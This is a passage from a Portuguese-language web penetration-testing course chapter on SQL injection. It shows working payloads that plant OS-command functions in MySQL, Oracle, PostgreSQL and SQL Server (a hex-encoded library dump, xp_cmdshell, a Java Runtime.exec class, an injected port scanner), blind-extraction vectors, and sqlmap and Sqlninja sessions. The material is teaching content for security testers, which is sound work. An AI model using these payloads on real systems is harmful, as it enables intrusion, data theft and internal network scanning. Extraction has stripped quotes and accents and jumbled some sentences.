and 1=2 union select ,, 8 0x7f454c4601010100000000000000000003000300010000007008000034000000141 8 000000000000034002000050028001900180001000000000000000000000000000000 8 180e0000180e0000050000000010000001000000180e0000181e0000181e000000010 8 00008010000060000000010000002000000300e0000301e0000301e0000c8000000c8 8 ... 00f80e00000c00000000000000000000000400000004000000b800000001000000030 8 00000041f0000040f00001400000000000000000000000400000004000000c1000000 8 0800000003000000181f0000180f00000800000000000000000000000400000000000 8 000c6000000010000003000000000000000180f00002c000000000000000000000001 8 0000000100000001000000030000000000000000000000440f0000cf0000000000000 8 , , , into dumpfile /usr/lib/mysql/plugin/lib_mysqludf_sys.so#
Para finalizar o processo, basta criar as funes no MySQL, referenciando a biblioteca recm-copiada para o servidor:
; 8 CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 8 lib_mysqludf_sys.so; 8 CREATE FUNCTION sys_get RETURNS string SONAME lib_mysqludf_sys.so 8 ; CREATE FUNCTION sys_set RETURNS int SONAME lib_mysqludf_sys.so; 8 CREATE FUNCTION sys_exec RETURNS int SONAME lib_mysqludf_sys.so; 8 CREATE FUNCTION sys_eval RETURNS string SONAME lib_mysqludf_sys.so 8 ; CREATE FUNCTION sys_bineval RETURNS int SONAME lib_mysqludf_sys. so#
Percebe-se que esse passo requer o suporte a comandos empilhados, o que no to fcil de encontrar nos sistemas em produo baseados em MySQL. Finalizando, o exemplo abaixo ilustra a execuo do comando ping contra a mquina com endereo IP 192.168.213.10, por meio de uma chamada a sys_eval(), via injeo de SQL:
273
Oracle
Em Oracle, possvel criar funes definidas por usurio nas linguagens PL/SQL e Java, sendo um exemplo da primeira a rotina que vimos para a leitura de arquivos. Nessa seo, para cobrir todas as possibilidades, uma funo em Java que executa comandos no sistema operacional apresentada na Figura 6.42. Assim como no caso anterior, necessrio injetar todo o cdigo explorando uma rotina vulnervel, escrita em PL/SQL, sem a qual o ataque no funciona.
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED JCMD AS import java.lang.*; import java.io.*;
public class JCMD { public static String execCmd(String command) throws IOException { String line = ; StringBuffer sb = new StringBuffer(); Process p = Runtime.getRuntime().exec(command); DataInputStream dis = new DataInputStream(p.getInputStream());
A criao da classe Java JCMD representa apenas parte da tarefa, restando, ainda, a criao da funo propriamente dita e a concesso de privilgios aos usurios. Os comandos que realizam essas aes esto ilustrados a seguir:
CREATE OR REPLACE FUNCTION JCMDF (command IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME JCMD.execCmd(java.lang.String) return java.lang.String;
274
and 1=2 union select null,replace(sys.jcmdf(/bin/ls -l /), 8 chr(10),<BR>),null from dual-A funo REPLACE utilizada acima para incluir as quebras de linha no HTML gerado, e o resultado da injeo est ilustrado na Figura 6.43.
PostgreSQL
O SGBD PostgreSQL permite a criao de funes de usurio, implementadas em linguagem C e compiladas como bibliotecas dinmicas, que podem ser armazenadas em qualquer diretrio que a conta do servidor consiga acessar. Isso facilita muito a tarefa de injeo, pois o arquivo pode ser gravado no diretrio /tmp, por exemplo, que pode ser escrito por todos os usurios do sistema. Adicionalmente, a explorao favorecida mais ainda pelo suporte nativo a comandos empilhados. Nas verses anteriores a 8.1, inclusive, era possvel definir funes que utilizavam bibliote-
cas nativas do sistema operacional, como a libc. A partir da verso 8.2, isso no mais possvel, pois um bloco mgico deve estar presente em todas as bibliotecas compartilhadas para que possam ser carregadas (Leidecker, 2007; Guimares, 2009). Portanto, esse requisito deve ser devidamente atendido para que o ataque funcione corretamente. O cdigo que ser usado como exemplo, mostrado parcialmente na Figura 6.44, tambm obra de Bernardo Guimares e distribudo como software livre, por meio de licena GPL Lesser General Public License. Essa biblioteca cria quatro funes, que podem ser utilizadas para a execuo de programas de linha de comando e para a leitura de arquivos. Alm disso, possvel compil-la para ambientes Windows e Linux, tendo em mente que os cabealhos e bibliotecas do PostgreSQL precisam estar instalados.
Captulo 6 - Injeo de SQL
275
... PG_FUNCTION_INFO_V1(sys_exec); #ifdef PGDLLIMPORT extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { #else extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); int32 result = 0; char *command;
command = text_ptr_to_char_ptr(argv0);
276
; 8 CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 8 /tmp/lib_postgresqludf_sys.so, sys_exec LANGUAGE C RETURNS NULL
8
ON NULL INPUT IMMUTABLE; 8 CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 8 /tmp/lib_postgresqludf_sys.so, sys_eval LANGUAGE C RETURNS NULL
8
ON NULL INPUT IMMUTABLE; 8 CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 8 /tmp/lib_postgresqludf_sys.so, sys_bineval LANGUAGE C RETURNS NULL 8 ON NULL INPUT IMMUTABLE; 8 CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS 8 /tmp/lib_postgresqludf_sys.so, sys_fileread LANGUAGE C RETURNS 8 NULL ON NULL INPUT IMMUTABLE;-Finalizando, o exemplo abaixo ilustra a exibio do arquivo /etc/passwd, por meio de uma chamada a sys_eval() via injeo de SQL:
Transact-SQL Consiste em uma extenso proprietria da linguagem SQL utilizada pelos SGBDs SQL Server e Sybase. CLR Ambiente de execuo de cdigo gerenciado, provido pelo arcabouo .NET, que traz, como benefcios, a possibilidade de integrao de programas escritos em linguagens diversas, o tratamento uniforme de excees, um modelo simplificado de comunicao entre componentes, mecanismos de segurana e controle de verses.
SQL Server
Funes definidas por usurio so criadas, em SQL Server, por meio do comando CREATE FUNCTION e podem ser escritas em Transact-SQL ou, a partir da verso 2005, em qualquer linguagem baseada no arcabouo .NET, graas integrao com o componente Common Language Runtime (CLR).
Tambm possvel desenvolver procedimentos estendidos, baseados em linguagens como C e C++, por exemplo, e invoc-los, de dentro das funes. Essa funcionalidade, entretanto, deixar de ser suportada nas verses futuras, em favor da soluo calcada em .NET. Essas funes podem ser divididas em duas classes, de acordo com o tipo do valor retornado: 1 Escalar: devolve um valor de qualquer um dos tipos escalares do SQL Server, exceto text, ntext, image e timestamp. 1 Tabela: um conjunto de linhas, compostas por tipos escalares, devolvido. Por esse motivo, essa classe de funo pode ser empregada no lugar de vises, apresentando a vantagem de ser parametrizada. De modo geral, em SQL Server, grande parte do que se deseja fazer, por meio de funes de usurio, j disponibilizada pelo extenso conjunto de procedimentos de sistema. Se por um lado verdade que a maioria dessas rotinas est desabilitada por padro, desde a verso 2005, por outro, se a conta de aplicao possui privilgios para criao de funes, provavelmente, tem tambm o poder para ativar os procedimentos que necessitar.
Captulo 6 - Injeo de SQL
277
Apesar do argumento acima, para a introduo da sintaxe de CREATE FUNCTION segue um exemplo de funo de usurio bem simples, que compara dois valores numricos e retorna 1, 0 ou -1, se o primeiro argumento for maior, igual ou menor que o segundo, respectivamente.
CREATE FUNCTION compare(@n1 bigint, @n2 bigint) RETURNS int BEGIN DECLARE @ret int;
IF @n1 > @n2 SET @ret = 1; ELSE IF @n1 = @n2 SET @ret = 0; ELSE SET @ret = -1;
Figura 6.45 Exemplo de funo de usurio do tipo escalar para SQL Server.
RETURN(@ret); END
q
Backdoor Mecanismo instalado em um sistema, pelo fornecedor ou por um atacante, que permite acesso direto, de maneira ilegtima, ao ambiente e informao.
MySQL
No h suporte nativo, em MySQL, para a execuo de comandos no sistema operacional. Para preencher essa lacuna, necessrio estender a funcionalidade do servidor de banco
Teste de Invaso de Aplicaes Web
de dados, por meio de funes de usurio, como a apresentada na seo anterior. Conforme vimos, dependendo da configurao do ambiente e da maneira como a aplicao foi desenvolvida, o ataque no fcil de ser realizado.
Oracle
H diversos mtodos que podem ser utilizados em Oracle para executar comandos no sistema operacional, os quais variam de acordo com a verso empregada. Um problema, porm, que nenhum deles pode ser usado como expresso, o que, junto com a falta de suporte a comandos empilhados, inviabiliza a explorao por meio de injeo de SQL (Clarke, 2009).
278
Para superar essa dificuldade, necessrio encontrar uma rotina em PL/SQL que seja injetvel, mas, nesse caso, uma alternativa melhor consiste em aproveitar a vulnerabilidade para criar e utilizar a funo de usurio, descrita na seo anterior.
PostgreSQL
PostgreSQL, assim como MySQL, no suporta nativamente a execuo de comandos no sistema operacional. A soluo para isso, igualmente, consiste na criao de uma funo de usurio como aquela apresentada na seo anterior. A grande vantagem do ponto de vista de ataque, em relao ao MySQL, que no h restries quanto ao diretrio em que a biblioteca gerada deve ser gravada. Isso torna a explorao nessa plataforma muito mais factvel, desde que a aplicao utilize uma conta privilegiada para acesso ao SGBD ou que seja possvel escalar privilgios.
SQL Server
Pode-se dizer que o SQL Server, de todos os SGBDs, um dos que mais possuem procedimentos e funes embutidas para interao com o sistema operacional. Devido aos diversos ataques que ocorreram, valendo-se dessa grande gama de rotinas, a partir da verso 2005 boa parte delas passou a vir desativada, por padro, embora nenhuma tenha sido excluda do pacote. Se desejado, ainda possvel reativ-las, por meio do procedimento sp_configure, desde que invocado por uma conta administrativa.
Um desses procedimentos, o xp_cmdshell, permite executar programas arbitrrios, baseados em linha de comando (Anley, 2002a). A sintaxe bem simples, conforme se v a seguir:
; exec master..xp_cmdshell net1 user > c:\temp\net1.txt-Procede-se criao da tabela temporria, mas de maneira ligeiramente diferente apresentada anteriormente. Para poder recuperar as linhas, na ordem em que aparecem no arquivo, deve-se incluir uma coluna sequencial na tabela, que utilizada para ordenao do resultado. Porm, isso faz com que o nmero de colunas do arquivo difira do da tabela, causando um erro na execuo do BULK INSERT. possvel contornar esse problema por for executado para a tabela final, contendo as duas colunas, o descritor precisa ser editado para remoo da coluna de ordenao. Embora seja factvel efetuar todos esses passos, por meio de um ataque de injeo de SQL, a tarefa bastante rdua. Assim, pode-se recorrer a um truque, em que o arquivo de formato gerado para uma tabela efmera, com apenas uma nica coluna e, depois, empregado para a tabela final, com duas colunas:
Captulo 6 - Injeo de SQL
meio de um descritor de formato, que pode ser gerado pelo utilitrio bcp. Entretanto, se ele
279
; create table temp (data varchar(8000)); 8 exec master..xp_cmdshell bcp master..temp format nul -f 8 c:\temp\format.txt -c -T -Usa -P; 8 drop table temp; 8 create table temp (data varchar(8000),id int identity)-Em seguida, o arquivo importado para a tabela, especificando-se o descritor de formato:
; bulk insert temp from c:\temp\net1.txt with 8 (formatfile=c:\temp\format.txt)-Por fim, os dados so recuperados e a tabela, removida:
and 1=2 union select id,data,null from temp order by 1; drop 8 table temp--
Varredura de redes
muito comum, em cenrios reais, o SGBD residir em uma rede de servidores segregada das demais por meio de um firewall. Enquanto o acesso a partir de outras redes a esse segmento controlado, dentro dele, normalmente, no h filtragem nenhuma. Nesse contexto, injeo de SQL apresenta-se como uma ferramenta muito til, pois como o cdigo injetado processado no SGBD, possvel acessar outros servidores presentes na mesma sub-rede, sem nenhuma interferncia do firewall instalado. Uma estratgia que pode ser adotada para a realizao desse teste: 1 Identificao do endereo IP do servidor e da mscara de rede correspondente.
1 Verificar, por meio do comando ping, se h um servidor ativo e responsivo para cada um dos endereos da mesma rede. 1 Para cada servidor encontrado, testar as portas que desejar, por meio de uma conexo via telnet, netcat ou mecanismo nativo do SGBD. Note que, dependendo do tamanho da rede, impraticvel realizar essa tarefa manualmente, embora no seja difcil automatiz-la. Alm disso, observe que, no segundo passo, a falta de resposta ao ping no implica, necessariamente, que no exista um servidor com o endereo sendo testado; possvel, por motivos de segurana, que ele tenha sido configurado para no responder a esse tipo de pacote.
Teste de Invaso de Aplicaes Web
MySQL
Para executar, em MySQL, a estratgia de varredura apresentada, necessrio utilizar a UDF, que permite invocar comandos do sistema operacional.
Os vetores que devem ser injetados nesse processo, a cada passo, decorrem naturalmente do roteiro de teste. Inicialmente, o programa ifconfig executado para determinao do IP do servidor:
280
A partir do resultado da injeo, ilustrado na Figura 6.46, nota-se que o servidor de banco de dados est conectado s redes 192.168.107.0/24 e 192.168.213.0/24.
Os testes para deteco de outros servidores ativos devem ser realizados nas duas redes:
Os seguintes vetores podem ser empregados para verificar que o servidor 192.168.213.100 est executando o SGBD Oracle (Figura 6.49) e no disponibiliza acesso via Telnet (Figura 6.50).
281
Oracle:
Oracle
Em Oracle, para efetuar uma varredura na rede interna, tambm possvel seguir os mesmos passos que em MySQL, bastando ajustar os vetores de teste, de acordo com a sintaxe correta. Entre as alternativas disponveis esto o uso do pacote UTL_TCP, que permite realizar conexes TCP, e a criao de uma funo de usurio em Java. Em ambos os casos, necessrio encontrar uma vulnerabilidade em uma rotina escrita em PL/SQL que permita realizar a injeo, da mesma maneira que nos exemplos de escalada de privilgios e manipulao de arquivos. Nesse contexto, a Figura 6.51 apresenta um cdigo em Java para varredura de portas em um nico endereo IP.
Figura 6.50 Resposta vazia, indicando que servio Telnet no est disponvel.
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED Scan as import java.net.Socket; import java.net.InetAddress; import java.net.InetSocketAddress; import java.lang.StringBuffer;
Teste de Invaso de Aplicaes Web
public class Scan { public static String portScan(String ip) { Socket socket = new Socket(); StringBuffer sb = new StringBuffer(); InetAddress ia = null;
Figura 6.51 Cdigo-fonte Java de funo que realiza varredura de portas.
282
sb.append(Ports on + ip + :\n); for (int i = 1; i < 65535; i++) { try { socket = new Socket(); socket.connect(new InetSocketAddress(ia, i), 300); sb.append(Integer.toString(i) + \n); socket.close(); } catch (Exception e) { } }
return sb.toString(); } }
Aps executar a injeo do cdigo no banco de dados Oracle, deve-se criar a funo de usurio correspondente:
union select 1,null,sys.dbms_export_extension. 8 get_domain_index_tables(a,b,, DBMS_OUTPUT.PUT(:P1); 8 EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN 8 EXECUTE IMMEDIATE 8 CREATE OR REPLACE FUNCTION PSCAN (ip IN VARCHAR2) 8
Captulo 6 - Injeo de SQL
RETURN VARCHAR2 8 AS LANGUAGE JAVA 8 NAME Scan.portScan(java.lang.String) return 8 java.lang.String; 8 ;END;;END;--, 8 0,1,0) from dual--
283
union select 1,null,sys.dbms_export_extension. 8 get_domain_index_tables(a,b,, DBMS_OUTPUT.PUT(:P1); 8 EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN 8 EXECUTE IMMEDIATE GRANT EXECUTE ON PSCAN TO PUBLIC 8 ;END;;END;--, 8 0,1,0) from dual-Terminado tudo isso, muito fcil efetuar uma varredura de portas em um ativo, utilizando os recursos do servidor de banco de dados, conforme mostrado na Figura 6.52:
PostgreSQL
Os endereos IP do servidor PostgreSQL e do cliente conectado, no caso a aplicao, podem ser descobertos por meio das funes inet _server_addr () e inet_client_addr(), respectivamente.
Se o servidor de aplicao estiver instalado junto com o SGBD, o retorno de ambas as funes um valor nulo. Se no, retorna-se um valor do tipo inet, que pode ser convertido para texto, empregando-se a funo host(). Um exemplo de como empreg-las em uma injeo de SQL:
union select 1,host(inet_server_addr()),host(inet_client_addr())-As etapas de identificao de servidores e servios, por sua vez, podem ser cumpridas com auxlio do mdulo dblink, o mesmo que se usa para testes de fora bruta e dicionrio contra as contas do banco de dados. A tcnica consiste em tentar conectar-se a um endereo e
Teste de Invaso de Aplicaes Web
porta e observar a mensagem de erro devolvida. Segundo Leidecker (2007), dependendo do texto, chega-se a uma das concluses abaixo: 1 Servidor inativo: ERROR: could not establish connection DETAIL: could not connect to server: No route to host Is the server running on host 192.168.213.150 and accepting TCP/IP connections on port 22? 1 Porta fechada: ERROR: could not establish connection DETAIL: could not connect to server: Connection refused Is the server running on host 192.168.213.100 and accepting TCP/IP connections on port 23?
284
1 Porta aberta: ERROR: could not establish connection DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request. 1 Porta aberta ou filtrada: ERROR: could not establish connection DETAIL: timeout expired. Logo abaixo, encontra-se um exemplo do que injetar na aplicao para a realizao desses testes:
SQL Server
A descoberta do endereo IP do servidor SQL Server pode ser realizada invocando o programa ipconfig, por meio do procedimento estendido xp_cmdshell. A sada do ipconfig deve ser direcionada para um arquivo, a partir do qual a informao desejada extrada, empregando-se a tcnica baseada no comando BULK INSERT. As etapas seguintes, de identificao de servidores e portas abertas, so efetuadas de maneira similar ao PostgreSQL. As diferenas residem no uso do comando OPENROWSET, no lugar de dblink_connect(), e nas mensagens de erro geradas, descritas a seguir (Litchfield et al., 2005): 1 Servidor inativo: [DBNETLIB][ConnectionOpen (Connect()).]SQL Server does not exist or access denied. 1 Porta fechada: [DBNETLIB][ConnectionOpen (Connect()).]SQL Server does not exist or access denied. 1 Porta aberta: [DBNETLIB][ConnectionRead (recv()).]General network error. Check your network documentation.
q q
O vetor de teste abaixo representa um modelo do que deve ser injetado nesse tipo de teste:
Partio e balanceamento
A tcnica de partio e balanceamento, introduzida por Litchfield (2005), permite injetar consultas e expresses SQL, no meio de valores fornecidos aplicao, sem se preocupar com o nmero de aspas e parnteses presentes no comando original. A primeira parte do mtodo consiste em reescrever o argumento de outra maneira, dividindo-o em partes, mas sem alterar o valor original. O balanceamento, por sua vez, sintticos decorrentes da falta de equilbrio desses delimitadores. importante salientar que expresses escritas desse jeito podem ser injetadas em qualquer ponto de um comando, e essa a principal vantagem dessa tcnica. Considere os seguintes comandos SELECTS, executados por um SQL Server: aplicvel somente a valores textuais e garante um nmero par de aspas, o que evita erros
285
Tcnica bsica
Considere uma aplicao cuja tela inicial pode ser observada na Figura 6.53, que possui um nico campo de entrada, no qual possvel digitar parte do nome de um autor. Como resposta a uma requisio, o sistema indica o nmero de artigos encontrados no acervo da instituio que tenham sido escritos por pessoas cujos nomes contenham o texto informado pelo usurio. Observe que os ttulos dos artigos no so apresentados pela aplicao como resultado da pesquisa realizada.
Ao digitar uma aspa simples no campo e clicar em Contar artigos, a mensagem genrica Erro na execuo da consulta! exibida. Como se sabe, isso um indicativo de que a aplicao pode ser vulnervel injeo de SQL. De modo a confirmar o defeito e identificar o SGBD utilizado, pode-se empregar a tcnica de partio e balanceamento para submeter vetores especficos de cada sistema de banco de dados.
286
Aquele valor que no resultar em erro fornece as respostas desejadas, pois indica que o dado foi entendido e processado pelo servidor. Com isso em mente, os seguintes vetores de teste podem ser utilizados: 1 MySQL: a 1 Oracle: a || bitand(1,1) || 1 PostgreSQL: a || pg_sleep(5) || 1 SQL Server: a + No caso da aplicao de exemplo, somente o vetor de SQL Server injetado com sucesso e, assim, todas as construes subsequentes devem ser feitas respeitando as especificidades desse banco de dados. Prosseguindo com o teste, devem ser submetidas consultas vlidas e observados os resultados devolvidos pela aplicao. Para os textos a e abc, obtm-se, respectivamente, as mensagens 2 artigo(s) encontrado(s)! e 0 artigo(s) encontrado(s)!. A partir disso, razovel concluir que o SELECT construdo pelo sistema tem a forma:
287
O primeiro passo consiste na determinao do comprimento do identificador de usurio, que pode ser realizado perguntando se ele tem um tamanho especfico:
a% and substring(lower(system_user),1,1)=a-0 artigo(s) encontrado(s)! a% and substring(lower(system_user),1,1)=b-0 artigo(s) encontrado(s)! a% and substring(lower(system_user),1,1)=c-0 artigo(s) encontrado(s)! a% and substring(lower(system_user),1,1)=d-0 artigo(s) encontrado(s)! a% and substring(lower(system_user),1,1)=e-2 artigo(s) encontrado(s)!
Conclui-se, portanto, que o primeiro caractere do identificador de conta a letra e. Ao execuTeste de Invaso de Aplicaes Web
tar o mesmo algoritmo, para a segunda e a terceira posies, obtm-se, respectivamente, s e r, como se v abaixo. Logo, a conta com a qual a aplicao se conecta ao banco de dados esr. Segunda posio:
288
Busca binria
A busca binria permite identificar o valor de um byte com o total de oito perguntas. A ideia bem simples e consiste em dividir o domnio de busca atual em duas metades e determinar em qual delas o valor se encontra. Isso permite descartar, com uma pergunta, metade dos valores que restaram para pesquisa. O procedimento aplicado, recursivamente, parte que contm o nmero procurado at que sobre uma partio com um nico elemento. Por exemplo, considere que o valor X que se deseja descobrir 65, que o cdigo ASCII da letra A. Considerando que o domnio inicial compreende todos os valores entre 0 e 255, a
pergunta inicial feita com o nmero 127, que ocupa a mediana do intervalo. Todos os passos do teste podem ser examinados no roteiro abaixo: 1 X > 127? No, logo o nmero pertence ao intervalo [0..127], cuja mediana 63. 1 X > 63? Sim, logo o nmero pertence ao intervalo [64..127], cuja mediana 95. 1 X > 95? No, logo o nmero pertence ao intervalo [64..95], cuja mediana 79. 1 X > 79? No, logo o nmero pertence ao intervalo [64..79], cuja mediana 71.
Captulo 6 - Injeo de SQL
1 X > 71? No, logo o nmero pertence ao intervalo [64..71], cuja mediana 67. 1 X > 67? No, logo o nmero pertence ao intervalo [64..67], cuja mediana 65. 1 X > 65? No, logo o nmero pertence ao intervalo [64..65], cuja mediana 64. 1 X > 64? Sim, logo o nmero s pode ser 65, pois maior que 64 e menor ou igual a 65. Para utilizar essa tcnica, com injeo de SQL s cegas, necessrio empregar a funo ascii(), que devolve o cdigo ASCII do caractere passado como argumento. Considere o exemplo anterior, usado para descobrir a conta de acesso ao banco de dados.
289
Ao aplicar a ele esse mtodo, o caractere na primeira posio, e (ASCII = 101), identificado com as seguintes perguntas:
a% and ascii(substring(lower(system_user),1,1))>127-0 artigo(s) encontrado(s)! /* Falso: intervalo [0..127] */ a% and ascii(substring(lower(system_user),1,1))>63-2 artigo(s) encontrado(s)! /* Verdadeiro: intervalo [64..127] */ a% and ascii(substring(lower(system_user),1,1))>95-2 artigo(s) encontrado(s)! /* Verdadeiro: intervalo [96..127] */ a% and ascii(substring(lower(system_user),1,1))>111-0 artigo(s) encontrado(s)! /* Falso: intervalo [96..111] */ a% and ascii(substring(lower(system_user),1,1))>103-0 artigo(s) encontrado(s)! /* Falso: intervalo [96..103] */ a% and ascii(substring(lower(system_user),1,1))>99-2 artigo(s) encontrado(s)! /* Falso: intervalo [100..103] */ a% and ascii(substring(lower(system_user),1,1))>101-0 artigo(s) encontrado(s)! /* Falso: intervalo [100..101] */ a% and ascii(substring(lower(system_user),1,1))>100-2 artigo(s) encontrado(s)! /* Verdadeiro: X = 101 */
Fica evidente que essa tcnica bem mais eficiente que a anterior, pois requer apenas oito requisies para recuperao de um byte, contra 128, da outra, no caso mdio. Apesar disso, a busca binria apresenta uma pequena desvantagem, que a impossibilidade de paralelizar as requisies, dada a dependncia existente entre elas. Antes de encerrar este tpico, convm observar que a funo lower() no necessria para essa tcnica e nem para a bit-a-bit, uma vez que todos os valores possveis de um byte so considerados. No caso, ela foi mantida apenas para ficar consistente com o exemplo do mtodo linear, no qual, realmente, o uso dela representa uma vantagem.
Mtodo bit-a-bit
O mtodo bit-a-bit tambm realiza apenas oito requisies para recuperar o valor de um byte, porm, tem a vantagem, sobre a busca binria, de poder ser paralelizado.
Teste de Invaso de Aplicaes Web
A tcnica consiste em extrair o valor de cada um dos bits do byte desejado por meio de um AND bit-a-bit. Lembrando que o AND resulta em 1 somente quando ambos os operandos forem 1. Para testar o valor do quinto bit do byte X, por exemplo, pode-se verificar a igualdade X and 32 = 32. Se, e somente se, ela for verdadeira, o bit testado est ligado. De modo geral, numerando os bits de 0 a 7, com 0 sendo o menos significativo, o teste do k-simo bit de um byte X qualquer feito por meio da comparao X and 2 = 2 .
k k
290
a% and ascii(substring(lower(system_user),1,1))&128=128-0 artigo(s) encontrado(s)! /* Falso: bit 7 zero */ a% and ascii(substring(lower(system_user),1,1))&64=64-2 artigo(s) encontrado(s)! /* Verdadeiro: bit 6 um */ a% and ascii(substring(lower(system_user),1,1))&32=32-2 artigo(s) encontrado(s)! /* Verdadeiro: bit 5 um */ a% and ascii(substring(lower(system_user),1,1))&16=16-0 artigo(s) encontrado(s)! /* Falso: bit 4 zero */ a% and ascii(substring(lower(system_user),1,1))&8=8-0 artigo(s) encontrado(s)! /* Falso: bit 3 zero */ a% and ascii(substring(lower(system_user),1,1))&4=4-2 artigo(s) encontrado(s)! /* Verdadeiro: bit 2 um */ a% and ascii(substring(lower(system_user),1,1))&2=2-0 artigo(s) encontrado(s)! /* Falso: bit 1 zero */ a% and ascii(substring(lower(system_user),1,1))&1=1-2 artigo(s) encontrado(s)! /* Verdadeiro: bit 0 um */
A partir das respostas obtidas, possvel escrever a sequncia de bits 01100101, que igual ao valor decimal 101, conforme esperado.
Obviamente, o tempo de parada deve ser perceptvel, de modo a ser possvel discernir entre os dois estados. Esse mtodo pode ser usado tanto com a tcnica de busca binria quanto com a bit-a-bit, e, de modo geral, melhor que os vetores sejam construdos por meio de partio e balannatureza ocorre em comandos INSERT e, portanto, a pergunta deve ser includa como parte da expresso sendo injetada, sem comentrio de final de linha. A falta desse cuidado gera erro sinttico, fazendo com que o teste no seja efetuado com sucesso. Para exemplificar, considere uma aplicao baseada em PostgreSQL e que o objetivo seja extrair a conta utilizada para acesso ao banco de dados. Nesse cenrio, os seguintes valores so injetados para a descoberta do primeiro byte, empregando a tcnica bit-a-bit:
Captulo 6 - Injeo de SQL
ceamento. O motivo disso que, algumas vezes, o ponto de injeo em aplicaes dessa
291
a || (case ascii(substr(user,1,1)) & 128 when 128 then pg_sleep(5) 8 else end) || a || (case ascii(substr(user,1,1)) & 64 when 64 then pg_sleep(5) 8 else end) || /* Pausa */
a || (case ascii(substr(user,1,1)) & 8 when 8 then pg_sleep(5) 8 else end) || a || (case ascii(substr(user,1,1)) & 4 when 4 then pg_sleep(5) 8 else end) || a || (case ascii(substr(user,1,1)) & 2 when 2 then pg_sleep(5) 8 else end) || a || (case ascii(substr(user,1,1)) & 1 when 1 then pg_sleep(5) 8 else end) ||
Com base nas injees que resultaram em pausa, obtm-se a sequncia de bits 01110000, cujo valor decimal 112, o qual o cdigo ASCII da letra p. fcil observar, a partir da lista acima, que a tcnica de partio e balanceamento, realmente, gera vetores mais longos.
Automao
Executar manualmente as tcnicas de injeo de SQL s cegas est longe de ser uma tarefa trivial, uma vez que cada requisio devolve, normalmente, apenas 1 bit de informao. Consequentemente, a extrao de dados teis implica a realizao de vrios milhares de requisies, no melhor caso. Felizmente, existem diversas ferramentas que podem auxiliar o analista de segurana na execuo desses testes. Entre os diversos exemplares esto: Absinthe, SQLBrute, Sqlninja e sqlmap.
O utilitrio sqlmap, j introduzido, tambm pode ser utilizado em ataques baseados em injeo de SQL s cegas. Para isso, nenhuma opo adicional precisa ser selecionada, embora seja
Teste de Invaso de Aplicaes Web
possvel especificar a tcnica que se deseja empregar, por meio da opo --technique=. Um exemplo de uso, para extrao do nome do banco de dados, est mostrado na Figura 6.54.
292
[*] starting at: 17:22:44 ... [17:23:56] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Linux Fedora web application technology: PHP 5.3.6, Apache 2.2.17 back-end DBMS: Microsoft SQL Server 2000 [17:23:56] [INFO] fetching current database [17:23:56] [INFO] retrieved: [17:24:01] [WARNING] adjusting time delay to 1 second master
Figura 6.54 Extrao do nome do banco de dados, usando a ferramenta sqlmap, com tcnica de injeo de SQL s cegas.
current database:
master
A ferramenta Sqlninja distribuda sob licena GPLv2 e tem por objetivo explorar aplicaes vulnerveis injeo de SQL, que utilizam o SQL Server como servidor de banco de dados. Pode ser executada em plataformas Linux, FreeBSD e MacOS X, desde que um interpretador Perl esteja instalado, alm de alguns mdulos especficos da linguagem. Permite realizar diversos ataques, incluindo: deteco do SGBD; identificao da conta utilizada pela aplicao; fora bruta contra a senha da conta sa; escalada de privilgios no SGBD e no sistema operacional; criao de procedimento xp_cmdshell personalizado, para o caso do original estar desabilitado; e envio de executveis, entre muitos outros. Toda a configurao da ferramenta realizada por meio de parmetros definidos no arquivo sqlninja.conf. Em uma configurao bsica, devem ser especificados, pelo menos, o nome de domnio da aplicao; a porta para conexo; pgina vulnervel; tipo de requisio HTTP; parmetros que devem ser enviados; e parmetro injetvel. Nota-se, com isso, que no faz parte dos objetivos do Sqlninja encontrar as vulnerabilidades, mas explor-las somente. Alm disso, necessrio um certo grau de conhecimento, sobre testes de invaso, para utilizar todas as funcionalidades que a ferramenta disponibiliza. Um exemplo de sesso do Sqlninja, contra uma aplicao vulnervel injeo de SQL s cegas, pode ser visto na Figura 6.55.
Captulo 6 - Injeo de SQL
293
~$ sqlninja -m f Sqlninja rel. 0.2.5 Copyright (C) 2006-2010 icesurfer <r00t@northernfortress.net> [+] Parsing configuration file................ [+] Port 80. Assuming cleartext [+] Target is: mssqlbi.esr.rnp.br What do you want to discover ? 0 - Database version (2000/2005) 1 - Database user 2 - Database user rights 3 - Whether xp_cmdshell is working 4 - Whether mixed or Windows-only authentication is used 5 - Whether SQL Server runs as System (xp_cmdshell must be available) a - All of the above h - Print this menu q - exit > 0 [+] Checking SQL Server version... Target: Microsoft SQL Server 2000 > 1 [+] Checking whether we are sysadmin... No, we are not sa.... :/ [+] Finding dbuser length... Got it ! Length = 3 [+] Now going for the characters........
Teste de Invaso de Aplicaes Web
DB User is....: esr > 2 [+] Checking whether user is member of sysadmin server role.... You are an administrator ! > q
Figura 6.55 Extrao de informaes sobre o banco de dados, usando a ferramenta Sqlninja, com tcnica de injeo de SQL s cegas.
294
modo a duplicar toda aspa encontrada no identificador de usurio (Anley, 2002a). O objetivo disso, segundo o inocente desenvolvedor, evitar ataques de injeo de SQL, iniciados com aspa simples, e, ao mesmo tempo, permitir que sejam utilizadas contas para nomes, como OReilly e OConnor. Durante a criao de uma nova conta, o seguinte comando executado:
